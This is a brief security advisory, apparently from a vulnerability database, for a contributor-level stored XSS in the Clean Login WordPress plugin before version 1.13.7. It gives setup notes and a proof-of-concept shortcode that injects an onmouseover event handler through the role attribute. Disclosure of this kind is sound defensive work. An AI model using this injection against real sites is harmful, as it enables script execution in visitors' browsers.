Clean Login < 1.13.7 - Contributor+ Stored XSS via Shortcode

Proof of Concept

Note: 

1. First, you need to check “Choose the role(s) in the registration form?” in Clean Login Settings. 

2. The form and the exploit only work and appear if you are not logged in to the website.

Exploit shortcode:

[clean-login-register role='" onmouseover="alert(1)" style="display:block !important; background:red;"']